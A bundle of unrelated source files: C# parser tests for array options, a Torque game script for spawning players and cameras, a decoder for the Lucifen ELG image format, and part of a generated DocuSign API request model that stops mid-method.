base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] {
"-q", "0.1", "0.2", "0.3", "0.4",
"-y", "1", "2", "3", "4",
"-z", "one", "two", "three", "four"
}, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
}
[Test]
public void ParseDifferentArraysTogether_CombinationTwo()
{
var options = new SimpleOptionsWithArray();
bool result = base.Parser.ParseArguments(new string[] {
"-z", "one", "two", "three", "four",
"-y", "1", "2", "3", "4",
"-q", "0.1", "0.2", "0.3", "0.4",
"--string=after"
}, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
Assert.AreEqual("after", options.StringValue);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] {
"--string", "before",
"-y", "1", "2", "3", "4",
"-z", "one", "two", "three", "four",
"-q", "0.1", "0.2", "0.3", "0.4"
}, options);
base.AssertParserSuccess(result);
Assert.AreEqual("before", options.StringValue);
base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] {
"-q", "0.1", "0.2", "0.3", "0.4",
"-y", "1", "2", "3", "4",
"-s", "near-the-center",
"-z", "one", "two", "three", "four"
}, options);
base.AssertParserSuccess(result);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
Assert.AreEqual("near-the-center", options.StringValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
options = new SimpleOptionsWithArray();
result = base.Parser.ParseArguments(new string[] {
"--switch",
"-z", "one", "two", "three", "four",
"-y", "1", "2", "3", "4",
"-i", "1234",
"-q", "0.1", "0.2", "0.3", "0.4",
"--string", "I'm really playing with the parser!"
}, options);
base.AssertParserSuccess(result);
Assert.IsTrue(options.BooleanValue);
base.AssertArrayItemEqual(new string[] { "one", "two", "three", "four" }, options.StringArrayValue);
base.AssertArrayItemEqual(new int[] { 1, 2, 3, 4 }, options.IntegerArrayValue);
Assert.AreEqual(1234, options.IntegerValue);
base.AssertArrayItemEqual(new double[] { .1, .2, .3, .4 }, options.DoubleArrayValue);
Assert.AreEqual("I'm really playing with the parser!", options.StringValue);
}
/****************************************************************************************************/
[Test]
[ExpectedException(typeof(CommandLineParserException))]
public void WillThrowExceptionIfOptionArrayAttributeBoundToStringWithShortName()
{
base.Parser.ParseArguments(new string[] { "-v", "a", "b", "c" }, new SimpleOptionsWithBadOptionArray());
}
[Test]
[ExpectedException(typeof(CommandLineParserException))]
public void WillThrowExceptionIfOptionArrayAttributeBoundToStringWithLongName()
{
base.Parser.ParseArguments(new string[] { "--bstrarr", "a", "b", "c" }, new SimpleOptionsWithBadOptionArray());
}
[Test]
[ExpectedException(typeof(CommandLineParserException))]
public void WillThrowExceptionIfOptionArrayAttributeBoundToIntegerWithShortName()
{
base.Parser.ParseArguments(new string[] { "-w", "1", "2", "3" }, new SimpleOptionsWithBadOptionArray());
}
[Test]
[ExpectedException(typeof(CommandLineParserException))]
public void WillThrowExceptionIfOptionArrayAttributeBoundToIntegerWithLongName()
{
base.Parser.ParseArguments(new string[] { "--bintarr", "1", "2", "3" }, new SimpleOptionsWithBadOptionArray());
}
}
}
#endif
| |
//-----------------------------------------------------------------------------
// Torque
// Copyright GarageGames, LLC 2011
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
// What kind of "player" is spawned is either controlled directly by the
// SpawnSphere or it defaults back to the values set here. This also controls
// which SimGroups to attempt to select the spawn sphere's from by walking down
// the list of SpawnGroups till it finds a valid spawn object.
//-----------------------------------------------------------------------------
$Game::DefaultPlayerClass = "Player";
$Game::DefaultPlayerDataBlock = "DefaultPlayerData";
$Game::DefaultPlayerSpawnGroups = "PlayerSpawnPoints PlayerDropPoints";
//-----------------------------------------------------------------------------
// What kind of "camera" is spawned is either controlled directly by the
// SpawnSphere or it defaults back to the values set here. This also controls
// which SimGroups to attempt to select the spawn sphere's from by walking down
// the list of SpawnGroups till it finds a valid spawn object.
//-----------------------------------------------------------------------------
$Game::DefaultCameraClass = "Camera";
$Game::DefaultCameraDataBlock = "Observer";
$Game::DefaultCameraSpawnGroups = "CameraSpawnPoints PlayerSpawnPoints PlayerDropPoints";
//-----------------------------------------------------------------------------
// pickCameraSpawnPoint() is responsible for finding a valid spawn point for a
// camera.
//-----------------------------------------------------------------------------
function pickCameraSpawnPoint(%spawnGroups)
{
// Walk through the groups until we find a valid object
for (%i = 0; %i < getWordCount(%spawnGroups); %i++)
{
%group = getWord(%spawnGroups, %i);
%count = getWordCount(%group);
if (isObject(%group))
%spawnPoint = %group.getRandom();
if (isObject(%spawnPoint))
return %spawnPoint;
}
// Didn't find a spawn point by looking for the groups
// so let's return the "default" SpawnSphere
// First create it if it doesn't already exist
if (!isObject(DefaultCameraSpawnSphere))
{
%spawn = new SpawnSphere(DefaultCameraSpawnSphere)
{
dataBlock = "SpawnSphereMarker";
spawnClass = $Game::DefaultCameraClass;
spawnDatablock = $Game::DefaultCameraDataBlock;
};
// Add it to the MissionCleanup group so that it
// doesn't get saved to the Mission (and gets cleaned
// up of course)
MissionCleanup.add(%spawn);
}
return DefaultCameraSpawnSphere;
}
//-----------------------------------------------------------------------------
// pickPlayerSpawnPoint() is responsible for finding a valid spawn point for a
// player.
//-----------------------------------------------------------------------------
function pickPlayerSpawnPoint(%spawnGroups)
{
// Walk through the groups until we find a valid object
for (%i = 0; %i < getWordCount(%spawnGroups); %i++)
{
%group = getWord(%spawnGroups, %i);
if (isObject(%group))
%spawnPoint = %group.getRandom();
if (isObject(%spawnPoint))
return %spawnPoint;
}
// Didn't find a spawn point by looking for the groups
// so let's return the "default" SpawnSphere
// First create it if it doesn't already exist
if (!isObject(DefaultPlayerSpawnSphere))
{
%spawn = new SpawnSphere(DefaultPlayerSpawnSphere)
{
dataBlock = "SpawnSphereMarker";
spawnClass = $Game::DefaultPlayerClass;
spawnDatablock = $Game::DefaultPlayerDataBlock;
};
// Add it to the MissionCleanup group so that it
// doesn't get saved to the Mission (and gets cleaned
// up of course)
MissionCleanup.add(%spawn);
}
return DefaultPlayerSpawnSphere;
}
//-----------------------------------------------------------------------------
// GameConnection::spawnCamera() is responsible for spawning a camera for a
// client
//-----------------------------------------------------------------------------
//function GameConnection::spawnCamera(%this, %spawnPoint)
//{
//// Set the control object to the default camera
//if (!isObject(%this.camera))
//{
//if (isDefined("$Game::DefaultCameraClass"))
//%this.camera = spawnObject($Game::DefaultCameraClass, $Game::DefaultCameraDataBlock);
//}
//
//if(!isObject(%this.PathCamera))
//{
//// Create path camera
//%this.PathCamera = spawnObject("PathCamera", "LoopingCam");
////%this.PathCamera = new PathCamera() {
////dataBlock = LoopingCam;
////position = "0 0 300 1 0 0 0";
////};
//}
//if(isObject(%this.PathCamera))
//{
//%this.PathCamera.setPosition("-54.0187 1.81237 5.14039");
//%this.PathCamera.followPath(MenuPath);
//MissionCleanup.add( %this.PathCamera);
//%this.PathCamera.scopeToClient(%this);
//%this.setControlObject(%this.PathCamera);
//}
//// If we have a camera then set up some properties
//if (isObject(%this.camera))
//{
//MissionCleanup.add( %this.camera );
//%this.camera.scopeToClient(%this);
//
////%this.setControlObject(%this.camera);
////%this.setControlObject(%this.PathCamera);
//
//if (isDefined("%spawnPoint"))
//{
//// Attempt to treat %spawnPoint as an object
//if (getWordCount(%spawnPoint) == 1 && isObject(%spawnPoint))
//{
//%this.camera.setTransform(%spawnPoint.getTransform());
//}
//else
//{
//// Treat %spawnPoint as an AxisAngle transform
//%this.camera.setTransform(%spawnPoint);
//}
//}
//}
//}
function GameConnection::spawnCamera(%this, %spawnPoint)
{
// Set the control object to the default camera
if (!isObject(%this.camera))
{
if (isDefined("$Game::DefaultCameraClass"))
%this.camera = spawnObject($Game::DefaultCameraClass, $Game::DefaultCameraDataBlock);
}
// If we have a camera then set up some properties
if (isObject(%this.camera))
{
MissionCleanup.add( %this.camera );
%this.camera.scopeToClient(%this);
%this.setControlObject(%this.camera);
if (isDefined("%spawnPoint"))
{
// Attempt to treat %spawnPoint as an object
if (getWordCount(%spawnPoint) == 1 && isObject(%spawnPoint))
{
%this.camera.setTransform(%spawnPoint.getTransform());
}
else
{
// Treat %spawnPoint as an AxisAngle transform
%this.camera.setTransform(%spawnPoint);
}
}
}
}
//-----------------------------------------------------------------------------
// GameConnection::spawnPlayer() is responsible for spawning a player for a
// client
//-----------------------------------------------------------------------------
function GameConnection::spawnPlayer(%this, %spawnPoint, %noControl)
{
if (isObject(%this.player))
{
// The client should not already have a player. Assigning
// a new one could result in an uncontrolled player object.
error("Attempting to create a player for a client that already has one!");
}
// Attempt to treat %spawnPoint as an object
if (getWordCount(%spawnPoint) == 1 && isObject(%spawnPoint))
{
// Defaults
%spawnClass = $Game::DefaultPlayerClass;
%spawnDataBlock = $Game::DefaultPlayerDataBlock;
// Overrides by the %spawnPoint
if (isDefined("%spawnPoint.spawnClass"))
{
%spawnClass = %spawnPoint.spawnClass;
%spawnDataBlock = %spawnPoint.spawnDatablock;
}
// This may seem redundant given the above but it allows
// the SpawnSphere to override the datablock without
// overriding the default player class
if (isDefined("%spawnPoint.spawnDatablock"))
%spawnDataBlock = %spawnPoint.spawnDatablock;
%spawnProperties = %spawnPoint.spawnProperties;
%spawnScript = %spawnPoint.spawnScript;
// Spawn with the engine's Sim::spawnObject() function
%player = spawnObject(%spawnClass, %spawnDatablock, "",
%spawnProperties, %spawnScript);
// If we have an object do some initial setup
if (isObject(%player))
{
// Set the transform to %spawnPoint's transform
%player.setTransform(%spawnPoint.getTransform());
}
else
{
// If we weren't able to create the player object then warn the user
if (isDefined("%spawnDatablock"))
{
MessageBoxOK("Spawn Player Failed",
"Unable to create a player with class " @ %spawnClass @
" and datablock " @ %spawnDatablock @ ".\n\nStarting as an Observer instead.",
%this @ ".spawnCamera();");
}
else
{
MessageBoxOK("Spawn Player Failed",
"Unable to create a player with class " @ %spawnClass @
".\n\nStarting as an Observer instead.",
%this @ ".spawnCamera();");
}
}
}
else
{
// Create a default player
%player = spawnObject($Game::DefaultPlayerClass, $Game::DefaultPlayerDataBlock);
// Treat %spawnPoint as a transform
%player.setTransform(%spawnPoint);
}
// If we didn't actually create a player object then bail
if (!isObject(%player))
{
// Make sure we at least have a camera
%this.spawnCamera(%spawnPoint);
return;
}
// Update the default camera to start with the player
if (isObject(%this.camera))
{
if (%player.getClassname() $= "Player")
%this.camera.setTransform(%player.getEyeTransform());
else
%this.camera.setTransform(%player.getTransform());
}
// Add the player object to MissionCleanup so that it
// won't get saved into the level files and will get
// cleaned up properly
MissionCleanup.add(%player);
// Store the client object on the player object for
// future reference
%player.client = %this;
// Player setup...
if (%player.isMethod("setShapeName"))
%player.setShapeName(%this.playerName);
if (%player.isMethod("setEnergyLevel"))
%player.setEnergyLevel(%player.getDataBlock().maxEnergy);
// Give the client control of the player
%this.player = %player;
// Give the client control of the camera if in the editor
if( $startWorldEditor )
{
%control = %this.camera;
%control.mode = toggleCameraFly;
EditorGui.syncCameraGui();
}
else
%control = %player;
if(!isDefined("%noControl"))
%this.setControlObject(%control);
}
| |
//! \file ImageELG.cs
//! \date Wed Apr 22 03:14:49 2015
//! \brief Lucifen Easy Game System image format.
//
// Copyright (C) 2015 by morkt
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
//
using System;
using System.ComponentModel.Composition;
using System.IO;
using System.Windows;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using GameRes.Utility;
namespace GameRes.Formats.Lucifen
{
internal class ElgMetaData : ImageMetaData
{
public int Type;
public int HeaderSize;
}
[Export(typeof(ImageFormat))]
public class ElgFormat : ImageFormat
{
public override string Tag { get { return "ELG"; } }
public override string Description { get { return "Lucifen Easy Game System image format"; } }
public override uint Signature { get { return 0x01474c45u; } } // 'ELG\001'
public ElgFormat ()
{
Signatures = new uint[] { 0x01474c45u, 0x08474c45u, 0x18474c45u, 0x20474c45u, 0x02474c45u };
}
public override void Write (Stream file, ImageData image)
{
throw new NotImplementedException ("ElgFormat.Write not implemented");
}
public override ImageMetaData ReadMetaData (Stream stream)
{
stream.Seek (3, SeekOrigin.Current);
using (var input = new ArcView.Reader (stream))
{
int bpp = input.ReadByte();
int x = 0;
int y = 0;
int type = bpp;
int header_size = 8;
if (2 == type)
{
bpp = input.ReadByte();
header_size = 13;
}
else if (1 == type)
{
bpp = input.ReadByte();
x = input.ReadInt16();
y = input.ReadInt16();
header_size = 13;
}
else
type = 0;
if (8 != bpp && 24 != bpp && 32 != bpp)
return null;
uint w = input.ReadUInt16();
uint h = input.ReadUInt16();
if (2 == type)
{
x = input.ReadInt16();
y = input.ReadInt16();
}
return new ElgMetaData
{
Width = w,
Height = h,
OffsetX = x,
OffsetY = y,
BPP = bpp,
Type = type,
HeaderSize = header_size,
};
}
}
public override ImageData Read (Stream file, ImageMetaData info)
{
var meta = (ElgMetaData)info;
file.Position = meta.HeaderSize;
using (var reader = new Reader (file, meta))
{
reader.Unpack();
return ImageData.Create (meta, reader.Format, reader.Palette, reader.Data);
}
}
internal class Reader : IDisposable
{
int m_width;
int m_height;
int m_bpp;
int m_type;
BinaryReader m_input;
byte[] m_output;
public PixelFormat Format { get; private set; }
public BitmapPalette Palette { get; private set; }
public byte[] Data { get { return m_output; } }
public Reader (Stream stream, ElgMetaData info)
{
m_width = (int)info.Width;
m_height = (int)info.Height;
m_bpp = info.BPP;
m_type = info.Type;
m_output = new byte[m_width*m_height*m_bpp/8];
m_input = new ArcView.Reader (stream);
}
public void Unpack ()
{
if (2 == m_type)
{
while (0 != m_input.ReadByte())
{
int size = m_input.ReadInt32();
if (size < 4)
throw new InvalidFormatException();
m_input.BaseStream.Seek (size-4, SeekOrigin.Current);
}
}
if (8 == m_bpp)
{
Format = PixelFormats.Indexed8;
UnpackPalette();
UnpackIndexed (m_output);
}
else if (24 == m_bpp)
{
Format = PixelFormats.Bgr24;
UnpackRGB();
}
else
{
Format = PixelFormats.Bgra32;
UnpackRGBA();
UnpackAlpha();
}
}
void UnpackPalette ()
{
byte[] palette_data = new byte[0x400];
UnpackIndexed (palette_data);
var colors = new Color[256];
for (int i = 0; i < 256; ++i)
colors[i] = Color.FromRgb (palette_data[i*4+2], palette_data[i*4+1], palette_data[i*4]);
Palette = new BitmapPalette (colors);
}
void UnpackIndexed (byte[] output)
{
int dst = 0;
for (;;)
{
byte flags = m_input.ReadByte();
if (0xff == flags || dst >= m_output.Length)
break;
int count, pos;
if (0 == (flags & 0xc0))
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 33;
else
count = (flags & 0x1f) + 1;
for (int i = 0; i < count; ++i)
output[dst++] = m_input.ReadByte();
}
else if ((flags & 0xc0) == 0x40)
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 35;
else
count = (flags & 0x1f) + 3;
byte v = m_input.ReadByte();
for (int i = 0; i < count; ++i)
output[dst++] = v;
}
else
{
if ((flags & 0xc0) == 0x80)
{
if (0 == (flags & 0x30))
{
count = (flags & 0xf) + 2;
pos = m_input.ReadByte() + 2;
}
else if ((flags & 0x30) == 0x10)
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 3;
count = m_input.ReadByte() + 4;
}
else if ((flags & 0x30) == 0x20)
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 3;
count = 3;
}
else
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 3;
count = 4;
}
}
else if (0 != (flags & 0x20))
{
pos = (flags & 0x1f) + 2;
count = 2;
}
else
{
pos = (flags & 0x1f) + 1;
count = 1;
}
int src = dst - pos;
Binary.CopyOverlapped (output, src, dst, count);
dst += count;
}
}
}
void UnpackRGBA ()
{
int dst = 0;
for (;;)
{
byte flags = m_input.ReadByte();
if (0xff == flags || dst >= m_output.Length)
break;
int count, pos, src;
if (0 == (flags & 0xc0))
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 33;
else
count = (flags & 0x1f) + 1;
for (int i = 0; i < count; ++i)
{
m_output[dst++] = m_input.ReadByte();
m_output[dst++] = m_input.ReadByte();
m_output[dst++] = m_input.ReadByte();
m_output[dst++] = 0xff;
}
}
else if ((flags & 0xc0) == 0x40)
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 34;
else
count = (flags & 0x1f) + 2;
byte b = m_input.ReadByte();
byte g = m_input.ReadByte();
byte r = m_input.ReadByte();
for (int i = 0; i < count; ++i)
{
m_output[dst++] = b;
m_output[dst++] = g;
m_output[dst++] = r;
m_output[dst++] = 0xff;
}
}
else if ((flags & 0xc0) == 0x80)
{
if (0 == (flags & 0x30))
{
count = (flags & 0xf) + 1;
pos = m_input.ReadByte() + 2;
}
else if ((flags & 0x30) == 0x10)
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 2;
count = m_input.ReadByte() + 1;
}
else if ((flags & 0x30) == 0x20)
{
byte tmp = m_input.ReadByte();
pos = ((((flags & 0xf) << 8) + tmp) << 8) + m_input.ReadByte() + 4098;
count = m_input.ReadByte() + 1;
}
else
{
if (0 != (flags & 8))
pos = ((flags & 0x7) << 8) + m_input.ReadByte() + 10;
else
pos = (flags & 0x7) + 2;
count = 1;
}
src = dst - 4 * pos;
Binary.CopyOverlapped (m_output, src, dst, count*4);
dst += count*4;
}
else
{
int y, x;
if (0 == (flags & 0x30))
{
if (0 == (flags & 0xc))
{
y = ((flags & 0x3) << 8) + m_input.ReadByte() + 16;
x = 0;
}
else if ((flags & 0xc) == 0x4)
{
y = ((flags & 0x3) << 8) + m_input.ReadByte() + 16;
x = -1;
}
else if ((flags & 0xc) == 0x8)
{
y = ((flags & 0x3) << 8) + m_input.ReadByte() + 16;
x = 1;
}
else
{
pos = ((flags & 0x3) << 8) + m_input.ReadByte() + 2058;
src = dst - 4 * pos;
Buffer.BlockCopy (m_output, src, m_output, dst, 4);
dst += 4;
continue;
}
}
else if ((flags & 0x30) == 0x10)
{
y = (flags & 0xf) + 1;
x = 0;
}
else if ((flags & 0x30) == 0x20)
{
y = (flags & 0xf) + 1;
x = -1;
}
else
{
y = (flags & 0xf) + 1;
x = 1;
}
src = dst + (x - m_width * y) * 4;
Buffer.BlockCopy (m_output, src, m_output, dst, 4);
dst += 4;
}
}
}
public void UnpackAlpha ()
{
int dst = 3;
for (;;)
{
byte flags = m_input.ReadByte();
if (0xff == flags || dst >= m_output.Length)
break;
int count, pos;
if (0 == (flags & 0xc0))
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 33;
else
count = (flags & 0x1f) + 1;
for (int i = 0; i < count; ++i)
{
m_output[dst] = m_input.ReadByte();
dst += 4;
}
}
else if (0x40 == (flags & 0xc0))
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 35;
else
count = (flags & 0x1f) + 3;
byte a = m_input.ReadByte();
for (int i = 0; i < count; ++i)
{
m_output[dst] = a;
dst += 4;
}
}
else
{
if (0x80 == (flags & 0xc0))
{
if (0 == (flags & 0x30))
{
count = (flags & 0xf) + 2;
pos = m_input.ReadByte() + 2;
}
else if (0x10 == (flags & 0x30))
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 3;
count = m_input.ReadByte() + 4;
}
else if ((flags & 0x30) == 0x20)
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 3;
count = 3;
}
else
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 3;
count = 4;
}
}
else if (0 != (flags & 0x20))
{
pos = (flags & 0x1f) + 2;
count = 2;
}
else
{
pos = (flags & 0x1f) + 1;
count = 1;
}
int src = dst - 4 * pos;
for (int i = 0; i < count; ++i)
{
m_output[dst] = m_output[src];
src += 4;
dst += 4;
}
}
}
}
void UnpackRGB ()
{
int dst = 0;
for (;;)
{
byte flags = m_input.ReadByte();
if (0xff == flags || dst >= m_output.Length)
break;
int count, pos, src;
if (0 == (flags & 0xc0))
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 33;
else
count = (flags & 0x1f) + 1;
for (int i = 0; i < count; ++i)
{
m_output[dst++] = m_input.ReadByte();
m_output[dst++] = m_input.ReadByte();
m_output[dst++] = m_input.ReadByte();
}
}
else if ((flags & 0xc0) == 0x40)
{
if (0 != (flags & 0x20))
count = ((flags & 0x1f) << 8) + m_input.ReadByte() + 34;
else
count = (flags & 0x1f) + 2;
byte b = m_input.ReadByte();
byte g = m_input.ReadByte();
byte r = m_input.ReadByte();
for (int i = 0; i < count; ++i)
{
m_output[dst++] = b;
m_output[dst++] = g;
m_output[dst++] = r;
}
}
else if ((flags & 0xc0) == 0x80)
{
if (0 == (flags & 0x30))
{
count = (flags & 0xf) + 1;
pos = m_input.ReadByte() + 2;
}
else if ((flags & 0x30) == 0x10)
{
pos = ((flags & 0xf) << 8) + m_input.ReadByte() + 2;
count = m_input.ReadByte() + 1;
}
else if ((flags & 0x30) == 0x20)
{
byte tmp = m_input.ReadByte();
pos = ((((flags & 0xf) << 8) + tmp) << 8) + m_input.ReadByte() + 4098;
count = m_input.ReadByte() + 1;
}
else
{
if (0 != (flags & 8))
pos = ((flags & 0x7) << 8) + m_input.ReadByte() + 10;
else
pos = (flags & 0x7) + 2;
count = 1;
}
src = dst - 3 * pos;
Binary.CopyOverlapped (m_output, src, dst, count*3);
dst += count*3;
}
else
{
int y, x;
if (0 == (flags & 0x30))
{
if (0 == (flags & 0xc))
{
y = ((flags & 0x3) << 8) + m_input.ReadByte() + 16;
x = 0;
}
else if ((flags & 0xc) == 0x4)
{
y = ((flags & 0x3) << 8) + m_input.ReadByte() + 16;
x = -1;
}
else if ((flags & 0xc) == 0x8)
{
y = ((flags & 0x3) << 8) + m_input.ReadByte() + 16;
x = 1;
}
else
{
pos = ((flags & 0x3) << 8) + m_input.ReadByte() + 2058;
src = dst - 3 * pos;
m_output[dst++] = m_output[src++];
m_output[dst++] = m_output[src++];
m_output[dst++] = m_output[src];
continue;
}
}
else if ((flags & 0x30) == 0x10)
{
y = (flags & 0xf) + 1;
x = 0;
}
else if ((flags & 0x30) == 0x20)
{
y = (flags & 0xf) + 1;
x = -1;
}
else
{
y = (flags & 0xf) + 1;
x = 1;
}
src = dst + (x - m_width * y) * 3;
m_output[dst++] = m_output[src++];
m_output[dst++] = m_output[src++];
m_output[dst++] = m_output[src];
}
}
}
#region IDisposable Members
bool disposed = false;
public void Dispose ()
{
Dispose (true);
GC.SuppressFinalize (this);
}
protected virtual void Dispose (bool disposing)
{
if (!disposed)
{
if (disposing)
m_input.Dispose();
disposed = true;
}
}
#endregion
}
}
}
| |
/*
* DocuSign REST API
*
* The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign.
*
* OpenAPI spec version: v2.1
* Contact: devcenter@docusign.com
* Generated by: https://github.com/swagger-api/swagger-codegen.git
*/
using System;
using System.Linq;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Runtime.Serialization;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System.ComponentModel.DataAnnotations;
using SwaggerDateConverter = DocuSign.eSign.Client.SwaggerDateConverter;
namespace DocuSign.eSign.Model
{
/// <summary>
/// RecipientPreviewRequest
/// </summary>
[DataContract]
public partial class RecipientPreviewRequest : IEquatable<RecipientPreviewRequest>, IValidatableObject
{
public RecipientPreviewRequest()
{
// Empty Constructor
}
/// <summary>
/// Initializes a new instance of the <see cref="RecipientPreviewRequest" /> class.
/// </summary>
/// <param name="AssertionId">AssertionId.</param>
/// <param name="AuthenticationInstant">AuthenticationInstant.</param>
/// <param name="AuthenticationMethod">AuthenticationMethod.</param>
/// <param name="ClientURLs">ClientURLs.</param>
/// <param name="PingFrequency">PingFrequency.</param>
/// <param name="PingUrl">PingUrl.</param>
/// <param name="RecipientId">Unique for the recipient. It is used by the tab element to indicate which recipient is to sign the Document..</param>
/// <param name="ReturnUrl">ReturnUrl.</param>
/// <param name="SecurityDomain">SecurityDomain.</param>
/// <param name="XFrameOptions">XFrameOptions.</param>
/// <param name="XFrameOptionsAllowFromUrl">XFrameOptionsAllowFromUrl.</param>
public RecipientPreviewRequest(string AssertionId = default(string), string AuthenticationInstant = default(string), string AuthenticationMethod = default(string), RecipientTokenClientURLs ClientURLs = default(RecipientTokenClientURLs), string PingFrequency = default(string), string PingUrl = default(string), string RecipientId = default(string), string ReturnUrl = default(string), string SecurityDomain = default(string), string XFrameOptions = default(string), string XFrameOptionsAllowFromUrl = default(string))
{
this.AssertionId = AssertionId;
this.AuthenticationInstant = AuthenticationInstant;
this.AuthenticationMethod = AuthenticationMethod;
this.ClientURLs = ClientURLs;
this.PingFrequency = PingFrequency;
this.PingUrl = PingUrl;
this.RecipientId = RecipientId;
this.ReturnUrl = ReturnUrl;
this.SecurityDomain = SecurityDomain;
this.XFrameOptions = XFrameOptions;
this.XFrameOptionsAllowFromUrl = XFrameOptionsAllowFromUrl;
}
/// <summary>
/// Gets or Sets AssertionId
/// </summary>
[DataMember(Name="assertionId", EmitDefaultValue=false)]
public string AssertionId { get; set; }
/// <summary>
/// Gets or Sets AuthenticationInstant
/// </summary>
[DataMember(Name="authenticationInstant", EmitDefaultValue=false)]
public string AuthenticationInstant { get; set; }
/// <summary>
/// Gets or Sets AuthenticationMethod
/// </summary>
[DataMember(Name="authenticationMethod", EmitDefaultValue=false)]
public string AuthenticationMethod { get; set; }
/// <summary>
/// Gets or Sets ClientURLs
/// </summary>
[DataMember(Name="clientURLs", EmitDefaultValue=false)]
public RecipientTokenClientURLs ClientURLs { get; set; }
/// <summary>
/// Gets or Sets PingFrequency
/// </summary>
[DataMember(Name="pingFrequency", EmitDefaultValue=false)]
public string PingFrequency { get; set; }
/// <summary>
/// Gets or Sets PingUrl
/// </summary>
[DataMember(Name="pingUrl", EmitDefaultValue=false)]
public string PingUrl { get; set; }
/// <summary>
/// Unique for the recipient. It is used by the tab element to indicate which recipient is to sign the Document.
/// </summary>
/// <value>Unique for the recipient. It is used by the tab element to indicate which recipient is to sign the Document.</value>
[DataMember(Name="recipientId", EmitDefaultValue=false)]
public string RecipientId { get; set; }
/// <summary>
/// Gets or Sets ReturnUrl
/// </summary>
[DataMember(Name="returnUrl", EmitDefaultValue=false)]
public string ReturnUrl { get; set; }
/// <summary>
/// Gets or Sets SecurityDomain
/// </summary>
[DataMember(Name="securityDomain", EmitDefaultValue=false)]
public string SecurityDomain { get; set; }
/// <summary>
/// Gets or Sets XFrameOptions
/// </summary>
[DataMember(Name="xFrameOptions", EmitDefaultValue=false)]
public string XFrameOptions { get; set; }
/// <summary>
/// Gets or Sets XFrameOptionsAllowFromUrl
/// </summary>
[DataMember(Name="xFrameOptionsAllowFromUrl", EmitDefaultValue=false)]
public string XFrameOptionsAllowFromUrl { get; set; }
/// <summary>
/// Returns the string presentation of the object
/// </summary>
/// <returns>String presentation of the object</returns>
public override string ToString()
{
var sb = new StringBuilder();
sb.Append("class RecipientPreviewRequest {\n");
sb.Append(" AssertionId: ").Append(AssertionId).Append("\n");
sb.Append(" AuthenticationInstant: ").Append(AuthenticationInstant).Append("\n");
sb.Append(" AuthenticationMethod: ").Append(AuthenticationMethod).Append("\n");
sb.Append(" ClientURLs: ").Append(ClientURLs).Append("\n");
sb.Append(" PingFrequency: ").Append(PingFrequency).Append("\n");
sb.Append(" PingUrl: ").Append(PingUrl).Append("\n");
sb.Append(" RecipientId: ").Append(RecipientId).Append("\n");
sb.Append(" ReturnUrl: ").Append(ReturnUrl).Append("\n");
sb.Append(" SecurityDomain: ").Append(SecurityDomain).Append("\n");
